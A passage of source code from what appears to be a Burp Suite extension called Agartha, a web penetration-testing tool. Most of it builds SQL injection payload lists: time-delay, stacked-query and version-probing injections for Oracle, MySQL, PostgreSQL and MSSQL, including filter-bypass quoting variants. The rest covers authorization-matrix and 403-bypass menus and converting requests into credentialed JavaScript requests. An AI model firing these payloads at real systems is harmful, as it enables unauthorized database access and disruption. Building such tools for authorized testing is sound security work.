if escapeChar:
listSQLi.append(prefix + escapeChar + unionPhrase + " waitfor delay " + escapeChar + "00:01" + escapeChar + suffix + "\n")
else:
listSQLi.append(prefix + unionPhrase + " waitfor delay '00:01'" + "\n")
if self._cbSqlWafBypass.isSelected():
listSQLi.append(prefix + unionPhrase + " waitfor delay \\'00:01\\'" + "\n")
listSQLi.append(prefix + unionPhrase + " waitfor delay ''00:01''" + "\n")
if self._cbOracleBased.isSelected():
listSQLi.append(prefix + escapeChar + unionPhrase + " from dual" + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + unionPhrase + " from dual" + "\n")
if self._cbTimeBased.isSelected():
if escapeChar:
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message(1,60)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60) as varchar2(10))") + " from dual" + suffix + "\n")
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60) as integer)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(1,60) as varchar2(10))") + " from dual" + suffix + "\n")
listSQLi.append(prefix + escapeChar + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(1,60) as integer)") + " from dual" + suffix + "\n")
else:
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message(('a'),60)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message(('a'),60)") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message(1,60)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message(1,60)") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(('a'),60) as varchar2(10))") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(('a'),60) as integer)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(('a'),60) as varchar2(10))") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(('a'),60) as integer)") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(1,60) as varchar2(10))") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(1,60) as integer)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(1,60) as varchar2(10))") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message(1,60) as integer)") + " from dual" + "\n")
if self._cbSqlWafBypass.isSelected():
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message((\\'a\\'),60)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message((\\'a\\'),60)") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((\\'a\\'),60) as varchar2(10))") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((\\'a\\'),60) as integer)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((\\'a\\'),60) as varchar2(10))") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((\\'a\\'),60) as integer)") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message((''a''),60)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "dbms_pipe.receive_message((''a''),60)") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((''a''),60) as varchar2(10))") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((''a''),60) as integer)") + " from dual" + suffix + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((''a''),60) as varchar2(10))") + " from dual" + "\n")
listSQLi.append(prefix + unionPhrase.replace("select " + union, "select "+ "cast(dbms_pipe.receive_message((''a''),60) as integer)") + " from dual" + "\n")
unionPhrase += ","
for prefix in prefixes:
for escapeChar in escapeChars:
if (prefix[:2].count("\\")) and (escapeChar[:2].count("\\")):
if (prefix[:2].count("\\") != escapeChar[:2].count("\\")):
continue
for suffix in suffixes[1:]:
if self._cbOracleBased.isSelected():
if self._cbStackedSQL.isSelected():
if escapeChar:
listSQLi.append(prefix + escapeChar + ";select banner from v$version" + suffix + "\n")
listSQLi.append(prefix + escapeChar + ";select version from v$instance" + suffix + "\n")
else:
listSQLi.append(prefix + ";select banner from v$version" + "\n")
listSQLi.append(prefix + ";select version from v$instance" + "\n")
listSQLi.append(prefix + ";select banner from v$version" + suffix + "\n")
listSQLi.append(prefix + ";select version from v$instance" + suffix + "\n")
if self._cbTimeBased.isSelected():
if escapeChar:
listSQLi.append(prefix + escapeChar + ";select case when " + n1 + "=" + n1 +" then " + escapeChar + "a" + escapeChar + "||dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60) else null end from dual " + suffix + "\n")
listSQLi.append(prefix + escapeChar + " and 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60)" + suffix + "\n")
listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60)" + suffix + "\n")
listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60)" + "\n")
listSQLi.append(prefix + escapeChar + " or 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60)" + suffix + "\n")
listSQLi.append(prefix + " or 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60)" + suffix + "\n")
listSQLi.append(prefix + " or 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),60)" + "\n")
listSQLi.append(prefix + escapeChar + ";select case when " + n1 + "=" + n1 +" then " + escapeChar + "a" + escapeChar + "||dbms_pipe.receive_message(1,60) else null end from dual " + suffix + "\n")
listSQLi.append(prefix + escapeChar + " and 1337=dbms_pipe.receive_message(1,60)" + suffix + "\n")
listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message(1,60)" + suffix + "\n")
listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message(1,60)" + "\n")
listSQLi.append(prefix + escapeChar + " or 1337=dbms_pipe.receive_message(1,60)" + suffix + "\n")
listSQLi.append(prefix + " or 1337=dbms_pipe.receive_message(1,60)" + suffix + "\n")
listSQLi.append(prefix + " or 1337=dbms_pipe.receive_message(1,60)" + "\n")
else:
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(('a'),60) else null end from dual" + suffix + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(('a'),60) else null end from dual" + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(1,60) else null end from dual" + suffix + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(1,60) else null end from dual" + "\n")
if self._cbSqlWafBypass.isSelected():
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message((\\'a\\'),60) else null end from dual" + suffix + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message((\\'a\\'),60) else null end from dual" + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message(1,60) else null end from dual" + suffix + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message(1,60) else null end from dual" + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then ''a''||dbms_pipe.receive_message((''a''),60) else null end from dual" + suffix + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then ''a''||dbms_pipe.receive_message((''a''),60) else null end from dual" + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then ''a''||dbms_pipe.receive_message(1,60) else null end from dual" + suffix + "\n")
listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then ''a''||dbms_pipe.receive_message(1,60) else null end from dual" + "\n")
if self._cbMysqlBased.isSelected():
if self._cbStackedSQL.isSelected():
listSQLi.append(prefix + escapeChar + ";select @@version" + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + ";select @@version" + "\n")
if self._cbTimeBased.isSelected():
if escapeChar:
listSQLi.append(prefix + escapeChar + ";select sleep(60)" + suffix + "\n")
listSQLi.append(prefix + escapeChar + " and sleep(60)" + suffix + "\n")
listSQLi.append(prefix + escapeChar + " or sleep(60)" + suffix + "\n")
listSQLi.append(prefix + escapeChar + " and 1337=(select 1337 from (select sleep(60))A)" + suffix + "\n")
listSQLi.append(prefix + escapeChar + " or 1337=(select 1337 from (select sleep(60))A)" + suffix + "\n")
else:
listSQLi.append(prefix + " and sleep(60)" + suffix + "\n")
listSQLi.append(prefix + " and sleep(60)" + "\n")
listSQLi.append(prefix + " or sleep(60)" + suffix + "\n")
listSQLi.append(prefix + " or sleep(60)" + "\n")
listSQLi.append(prefix + ";select sleep(60)" + "\n")
listSQLi.append(prefix + ";select sleep(60)" + suffix + "\n")
listSQLi.append(prefix + " and 1337=(select 1337 from (select sleep(60))A)" + suffix + "\n")
listSQLi.append(prefix + " and 1337=(select 1337 from (select sleep(60))A)" + "\n")
listSQLi.append(prefix + " or 1337=(select 1337 from (select sleep(60))A)" + suffix + "\n")
listSQLi.append(prefix + " or 1337=(select 1337 from (select sleep(60))A)" + "\n")
listSQLi.append(prefix + "sleep(60)" + suffix + "\n")
listSQLi.append(prefix + "sleep(60)" + "\n")
if self._cbPostgreBased.isSelected():
if self._cbStackedSQL.isSelected():
listSQLi.append(prefix + escapeChar + ";select version()" + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + ";select version()" + "\n")
if self._cbTimeBased.isSelected():
if escapeChar:
listSQLi.append(prefix + escapeChar + ";select pg_sleep(60)" + suffix + "\n")
listSQLi.append(prefix + escapeChar + " || pg_sleep(60)" + suffix + "\n")
listSQLi.append(prefix + escapeChar + " and 1337=(select 1337 from pg_sleep(60))" + suffix + "\n")
listSQLi.append(prefix + escapeChar + " or 1337=(select 1337 from pg_sleep(60))" + suffix + "\n")
else:
listSQLi.append(prefix + ";select pg_sleep(60)" + suffix + "\n")
listSQLi.append(prefix + ";select pg_sleep(60)" + "\n")
listSQLi.append(prefix + " || pg_sleep(60)" + "\n")
listSQLi.append(prefix + " || pg_sleep(60)" + suffix + "\n")
listSQLi.append(prefix + " and 1337=(select 1337 from pg_sleep(60))" + suffix + "\n")
listSQLi.append(prefix + " and 1337=(select 1337 from pg_sleep(60))" + "\n")
listSQLi.append(prefix + " or 1337=(select 1337 from pg_sleep(60))" + suffix + "\n")
listSQLi.append(prefix + " or 1337=(select 1337 from pg_sleep(60))" + "\n")
if self._cbMssqlBased.isSelected():
if self._cbStackedSQL.isSelected():
listSQLi.append(prefix + escapeChar + ";select @@version" + suffix + "\n")
if not escapeChar:
listSQLi.append(prefix + escapeChar + ";select @@version" + "\n")
if self._cbTimeBased.isSelected():
if escapeChar:
listSQLi.append(prefix + escapeChar + " waitfor delay " + escapeChar + "00:01" + escapeChar + suffix + "\n")
listSQLi.append(prefix + escapeChar + ";waitfor delay " + escapeChar + "00:01" + escapeChar + suffix + "\n")
else:
listSQLi.append(prefix + " waitfor delay '00:01'" + suffix + "\n")
listSQLi.append(prefix + " waitfor delay '00:01'" + "\n")
listSQLi.append(prefix + ";waitfor delay '00:01'" + suffix + "\n")
listSQLi.append(prefix + ";waitfor delay '00:01'" + "\n")
if self._cbSqlWafBypass.isSelected():
listSQLi.append(prefix + " waitfor delay \\'00:01\\'" + suffix + "\n")
listSQLi.append(prefix + " waitfor delay \\'00:01\\'" + "\n")
listSQLi.append(prefix + ";waitfor delay \\'00:01\\'" + suffix + "\n")
listSQLi.append(prefix + ";waitfor delay \\'00:01\\'" + "\n")
listSQLi.append(prefix + " waitfor delay ''00:01''" + suffix + "\n")
listSQLi.append(prefix + " waitfor delay ''00:01''" + "\n")
listSQLi.append(prefix + ";waitfor delay ''00:01''" + suffix + "\n")
listSQLi.append(prefix + ";waitfor delay ''00:01''" + "\n")
listSQLi = list(set(listSQLi))
listSQLi.sort()
if self._cbSqlEncoding.isSelected():
listSQLi = self.encodeURL(listSQLi)
self._tabDictResultDisplay.setText(''.join(map(str, listSQLi)))
self._lblStatusLabel.setText('SQL Injection payload generation is returned with '+ str(len(listSQLi)) + ' records!')
return
def encodeURL(self, payloads):
urlList = []
for payload in payloads:
urlList.append(payload.replace(" ", "%20").replace("\"", "%22").replace("\\", "%5c").replace("=", "%3d").replace("<", "%3c").replace(";", "%3b").replace("|", "%7c").replace("&", "%26").replace(":", "%3a").replace("`", "%60").replace("#", "%23").replace("\\", "%5c").replace("/", "%2f"))
return urlList
def getTabCaption(self):
return "Agartha"
def getUiComponent(self):
return self._MainTabs
def getHttpService(self):
if self._MainTabs.getSelectedIndex() == 1:
return self.httpReqRes[self.tableMatrix.getSelectedColumn()-1][self.tableMatrix.getSelectedRow()].getHttpService()
elif self._MainTabs.getSelectedIndex() == 2:
return self._httpReqResAuthentication[self.tableMatrixAuthentication.getSelectedRow()][self.tableMatrixAuthentication.getSelectedColumn()].getHttpService()
def getRequest(self):
if self._MainTabs.getSelectedIndex() == 1:
return self.httpReqRes[self.tableMatrix.getSelectedColumn()-1][self.tableMatrix.getSelectedRow()].getRequest()
elif self._MainTabs.getSelectedIndex() == 2:
return self._httpReqResAuthentication[self.tableMatrixAuthentication.getSelectedRow()][self.tableMatrixAuthentication.getSelectedColumn()].getRequest()
def getResponse(self):
if self._MainTabs.getSelectedIndex() == 1:
return self.httpReqRes[self.tableMatrix.getSelectedColumn()-1][self.tableMatrix.getSelectedRow()].getResponse()
elif self._MainTabs.getSelectedIndex() == 2:
return self._httpReqResAuthentication[self.tableMatrixAuthentication.getSelectedRow()][self.tableMatrixAuthentication.getSelectedColumn()].getResponse()
def createMenuItems(self, invocation):
self.context = invocation
menu_list = ArrayList()
menu_list.add(JMenuItem("Auth Matrix", actionPerformed=self.agartha_menu))
menu_list.add(JMenuItem("403 Bypass", actionPerformed=self.authentication_menu))
menu_list.add(JMenuItem("Copy as JavaScript", actionPerformed=self.js_menu))
return menu_list
def js_menu(self, event):
# right click menu
clipboard = Toolkit.getDefaultToolkit().getSystemClipboard()
http_contexts = self.context.getSelectedMessages()
_req = self._helpers.bytesToString(http_contexts[0].getRequest())
_url = str(self._helpers.analyzeRequest(http_contexts[0]).getUrl())
if _url.startswith("https"):
_url = _url.replace(":443/", "/")
elif _url.startswith("http"):
_url = _url.replace(":80/", "/")
method = _req.splitlines()[0].split(" ", 1)[0]
if "]" in _req.splitlines()[-1][-1:] or "}" in _req.splitlines()[-1][-1:] or ">" in _req.splitlines()[-1][-1:]:
jscript = "JSON/XML is not supported yet :/"
else:
fullHeader = ""
for _reqLine in _req.splitlines()[1:-1]:
if _reqLine and not any(re.findall(r'(cookie|token|auth|content-length)(.*:)', _reqLine, re.IGNORECASE)):
fullHeader += "xhr.setRequestHeader('" + _reqLine.split(":", 1)[0] + "','" + _reqLine.split(":", 1)[1] + "');"
if method == "GET":
minHeader = "var xhr=new XMLHttpRequest();xhr.open('GET','" + _url + "');xhr.withCredentials=true;"
jscript = "Http request with minimum header paramaters in JavaScript:\n\t<script>" + minHeader + "xhr.send();</script>\n\n"
jscript += "Http request with all header paramaters (except cookies, tokens, etc) in JavaScript, you may need to remove unnecessary fields:\n\t<script>" + minHeader + fullHeader + "xhr.send();</script>"
else:
contentType = ""
for _reqLine in _req.splitlines():
if any(re.findall(r'Content-type', _reqLine, re.IGNORECASE)):
contentType = "xhr.setRequestHeader('Content-type','" + _reqLine.split(" ", 1)[1] + "');"
break
sendData = ""
if _req.splitlines()[-1]:
sendData = "'" + _req.splitlines()[-1] + "'"
minHeader = "var xhr=new XMLHttpRequest();xhr.open('" + method + "','" + _url + "');xhr.withCredentials=true;"
jscript = "Http request with minimum header paramaters in JavaScript:\n\t<script>" + minHeader + contentType.strip() + "xhr.send(" + sendData + ");</script>\n\n"
jscript += "Http request with all header paramaters (except cookies, tokens, etc) in JavaScript, you may need to remove unnecessary fields:\n\t<script>" + minHeader + fullHeader + "xhr.send(" + sendData + ");</script>"
jscript += "\n\nFor redirection, please also add this code before '</script>' tag:\n\txhr.onreadystatechange=function(){if (this.status===302){var location=this.getResponseHeader('Location');return ajax.call(this,location);}};"
clipboard.setContents(StringSelection(jscript), None)
def agartha_menu(self, event):
# right click menu
http_contexts = self.context.getSelectedMessages()
_req = self._helpers.bytesToString(http_contexts[0].getRequest())
_url = ""
for http_context in http_contexts:
_url += str(self._helpers.analyzeRequest(http_context).getUrl()) + "\n"
if _url.startswith("https"):
_url = _url.replace(":443/", "/")
elif _url.startswith("http"):
_url = _url.replace(":80/", "/")
self._tbAuthHeader.setText(_req)
self._tbAuthHeader.setSelectionStart(0)
self._tbAuthHeader.setSelectionEnd(0)
self._tbAuthURL.setText(_url)
self._tbAuthURL.setSelectionStart(0)
self._tbAuthURL.setSelectionEnd(0)
self._MainTabs.setSelectedComponent(self._tabAuthSplitpane)
self._MainTabs.getParent().setSelectedComponent(self._MainTabs)
return
def authentication_menu(self, event):
# right click menu
http_contexts = self.context.getSelectedMessages()
try:
for http_context in http_contexts:
_url = str(self._helpers.analyzeRequest(http_context).getUrl())
if _url.count('http') >=2:
# the url is already redirected to somewhere
continue
if _url.startswith("https"):
_url = _url.replace(":443/", "/")
elif _url.startswith("http"):
_url = _url.replace(":80/", "/")
_header = self._helpers.analyzeRequest(http_context).getHeaders()
_body = self._helpers.bytesToString(http_context.getRequest()[self._helpers.analyzeRequest(http_context).getBodyOffset():])
self.tableMatrixAuthentication_DM.addRow([_url])
self._urlAddresses.addElement(_url)
self.authenticationMatrix.append([_url, _header, _body])
self._btnAuthenticationRun.setEnabled(True)
self._MainTabs.setSelectedComponent(self._tabAuthenticationSplitpane)
self._MainTabs.getParent().setSelectedComponent(self._MainTabs)
self.tabAuthenticationJlist.setSelectedIndex(0)
self._lblAuthenticationNotification.text = "The request has been added to the table with all session identifiers. Blank is default color and different colors are for warning levels."
except:
self._lblAuthenticationNotification.text = "An error has occurred: " + str(sys.exc_info()[1])
return
def authMatrix(self, ev):
t = Thread(target=self.authMatrixThread, args=[self])
t.start()
return
def _updateReqResView(self, ev):
try:
row = self.tableMatrix.getSelectedRow()
userID = self.tableMatrix.getSelectedColumn()
if userID == 0:
self._requestViewer.setMessage("", False)
self._responseViewer.setMessage("", False)
else:
self._requestViewer.setMessage(self.httpReqRes[userID-1][row].getRequest(), False)
self._responseViewer.setMessage(self.httpReqRes[userID-1][row].getResponse(), False)
except:
self._requestViewer.setMessage("", False)
self._responseViewer.setMessage("", False)
def isURLValid(self, urlAdd):
if (urlparse.urlparse(urlAdd) and urlAdd.strip().startswith("http") and not " " in urlAdd.strip()) or urlAdd.isspace() or not urlAdd:
return True
else:
return False
def _tabAuthUI(self):
# panel top
self._tbAuthNewUser = JTextField("", 14)
self._tbAuthNewUser.setToolTipText("Please provide an username.")
self._btnAuthNewUserAdd = JButton("Add User", actionPerformed=self.authAdduser)
self._btnAuthNewUserAdd.setPreferredSize(Dimension(90, 27))
self._btnAuthNewUserAdd.setToolTipText("Please add user/s to populate role matrix!")
self._btnAuthRun = JButton("RUN", actionPerformed=self.authMatrix)
self._btnAuthRun.setPreferredSize(Dimension(150, 27))
self._btnAuthRun.setToolTipText("Execute the task!")
self._btnSiteMapGeneratorRun = JButton("Spider", actionPerformed=self.siteMapGenerator)
self._btnSiteMapGeneratorRun.setPreferredSize(Dimension(90, 27))
self._btnSiteMapGeneratorRun.setToolTipText("It crawls all the links the user can visit and populate URL list automatically.")
self._btnAuthReset = JButton("Reset", actionPerformed=self.tableMatrixReset)
self._btnAuthReset.setPreferredSize(Dimension(90, 27))
self._btnAuthReset.setToolTipText("Clear all.")
self._btnAuthRun.setEnabled(False)
self._btnAuthReset.setEnabled(False)
self._tbAuthHeader = JTextPane()
self._tbAuthHeader.setContentType("text")
self._tbAuthHeader.setToolTipText("HTTP header belongs to the user. You can set up this field from right click: 'Extensions > Agartha > Authorization Matrix'.")
self._tbAuthHeader.setEditable(True)
self._tbAuthURL = JTextPane()
self._tbAuthURL.setContentType("text")
self._tbAuthURL.setToolTipText("URL paths can be accessible by the user. Please dont forget to remove logout links!")
self._tbAuthURL.setEditable(True)
self._cbAuthColoring = JCheckBox('Warnings', True, itemStateChanged=self._cbAuthColoringFunc)
self._cbAuthColoring.setEnabled(True)
self._cbAuthColoring.setToolTipText("Colors may help to a better analysis.")
self._cbAuthGETPOST = JComboBox(('GET', 'POST', 'Dynamic'))
self._cbAuthGETPOST.setSelectedIndex(2)
self._cbAuthGETPOST.setToolTipText("Which HTTP method will be used for the test. Dynamic takes proxy history as reference.")
self._cbSiteMapDepth = JComboBox(('Only current URL', 'Max crawl depth is 1', 'Max crawl depth is 2', 'Max crawl depth is 3', 'Max crawl depth is 4', 'Max crawl depth is 5', 'Max crawl depth is 6', 'Max crawl depth is 7', 'Max crawl depth is 8', 'Max crawl depth is 9', 'Max crawl depth is 10'))
self._cbSiteMapDepth.setPreferredSize(Dimension(150, 27))
self._cbSiteMapDepth.setSelectedIndex(3)
self._cbSiteMapDepth.setToolTipText("Webpage spider depth. How many sub-links should the web crawler go?")
# top panel
_tabAuthPanel1 = JPanel(BorderLayout())
_tabAuthPanel1.setBorder(EmptyBorder(0, 0, 10, 0))
_tabAuthPanel1_A = JPanel(FlowLayout(FlowLayout.LEADING, 10, 10))
_tabAuthPanel1_A.setPreferredSize(Dimension(400, 105))
_tabAuthPanel1_A.setMinimumSize(Dimension(400, 105))
_tabAuthPanel1_A.add(self._btnAuthNewUserAdd)
_tabAuthPanel1_A.add(self._tbAuthNewUser)
_tabAuthPanel1_A.add(self._cbAuthGETPOST)
_tabAuthPanel1_A.add(self._btnAuthReset)
_tabAuthPanel1_A.add(self._btnAuthRun)
_tabAuthPanel1_A.add(self._cbAuthColoring)
_tabAuthPanel1_A.add(self._btnSiteMapGeneratorRun)
_tabAuthPanel1_A.add(self._cbSiteMapDepth)
_tabAuthPanel1_B = JScrollPane(self._tbAuthHeader, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER)
_tabAuthPanel1_C = JScrollPane(self._tbAuthURL, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER)
self._tabAuthSplitpaneHttp = JSplitPane(JSplitPane.HORIZONTAL_SPLIT, _tabAuthPanel1_B, _tabAuthPanel1_C)
self._tabAuthSplitpaneHttp.setResizeWeight(0.5)
_tabAuthPanel1.add(_tabAuthPanel1_A, BorderLayout.WEST)
_tabAuthPanel1.add(self._tabAuthSplitpaneHttp, BorderLayout.CENTER)
# panel top
# panel center
self._lblAuthNotification = JLabel("", SwingConstants.LEFT)
self.tableMatrix = []
self.tableMatrix_DM = CustomDefaultTableModel(self.tableMatrix, ('URLs','No Authentication'))
self.tableMatrix = JTable(self.tableMatrix_DM)
self.tableMatrix.setAutoCreateRowSorter(False)
self.tableMatrix.setSelectionForeground(Color.red)
self.tableMatrix.getSelectionModel().addListSelectionListener(self._updateReqResView)
self.tableMatrix.getColumnModel().getSelectionModel().addListSelectionListener(self._updateReqResView)
self.tableMatrix.setOpaque(True)
self.tableMatrix.setFillsViewportHeight(True)
self.tableMatrix_SP = JScrollPane()
self.tableMatrix_SP.getViewport().setView((self.tableMatrix))
_tabAuthPanel2 = JPanel()
_tabAuthPanel2.setLayout(BoxLayout(_tabAuthPanel2, BoxLayout.Y_AXIS))
_tabAuthPanel2.add(self._lblAuthNotification, BorderLayout.NORTH)
_tabAuthPanel2.add(self.tableMatrix_SP, BorderLayout.NORTH)
self.progressBar = JProgressBar()
self.progressBar.setMaximum(1000000)
self.progressBar.setMinimum(0)
_tabAuthPanel2.add( self.progressBar, BorderLayout.SOUTH)
# panel center
self._tabAuthPanel = JSplitPane(JSplitPane.VERTICAL_SPLIT)
self._tabAuthPanel.setResizeWeight(0.25)
self._tabAuthPanel.setBorder(EmptyBorder(10, 10, 10, 10))
self._tabAuthPanel.setTopComponent(_tabAuthPanel1)
self._tabAuthPanel.setBottomComponent(_tabAuthPanel2)
# panel bottom
_tabsReqRes = JTabbedPane()
self._requestViewer = self._callbacks.createMessageEditor(self, False)
self._responseViewer = self._callbacks.createMessageEditor(self, False)
_tabsReqRes.addTab("Request", self._requestViewer.getComponent())
_tabsReqRes.addTab("Response", self._responseViewer.getComponent())
# panel bottom
self._tabAuthSplitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
self._tabAuthSplitpane.setResizeWeight(0.7)
self._tabAuthSplitpane.setTopComponent(self._tabAuthPanel)